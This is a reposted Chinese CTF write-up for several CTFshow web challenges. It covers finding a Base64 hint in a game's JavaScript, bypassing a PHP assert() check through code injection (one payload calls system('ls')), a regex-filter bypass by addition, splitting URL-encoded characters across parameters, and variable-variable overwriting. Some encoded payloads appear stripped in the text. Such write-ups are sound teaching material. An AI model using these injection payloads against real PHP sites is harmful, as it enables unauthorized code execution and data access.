2022CTFSHOW菜狗杯部分题目四
(WEB)TapTapTap-ctfshow 【JS代码】
这道题跟WEB其实没啥关系。
网页游戏类的题目直接查看其源代码。
在JS文件中找到一串BASE64编码的字符串。
结合前面的语句,当游戏关数达到20关以上时,会显示一个提示,内容就是这个。
base解码出来:
直接访问这个/secret_path_you_do_not_know/secretfile.txt
(WEB)一言既出-ctfshow 【assert】
题目:
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
Assert函数可以执行里面的代码,这里可以提前闭合并注释后面的即可绕过。
pyload:
?num=114514);#
2种其它写法(官方WP):
?num=114514);(19199810
?num=114514)==1 or system('ls');#
(WEB)驷马难追-ctfshow 【assert】
题目:
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
和前一题相比增加了过滤,无法使用闭合了:
解法:使用加法运算。
?num=114514 1805296 //加号要使用url编码,即:
?num=114514+1805296
(WEB)化零为整-ctfshow 【RCE】
题目:
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i ){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
中文的url编码长度为3,比如
大的URL编码是:大
牛的URL编码是:牛
而第九行代码限制我们一次传值的长度只能为1,于是payload:
?1=&2=&3=&4=&5=&6=
(WEB)遍地飘零-ctfshow 【变量覆盖】
题目:
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}
把flag赋值给_GET就可以了:
?_GET=flag
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgffgbi
系列文章
更多
同类精品
更多
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01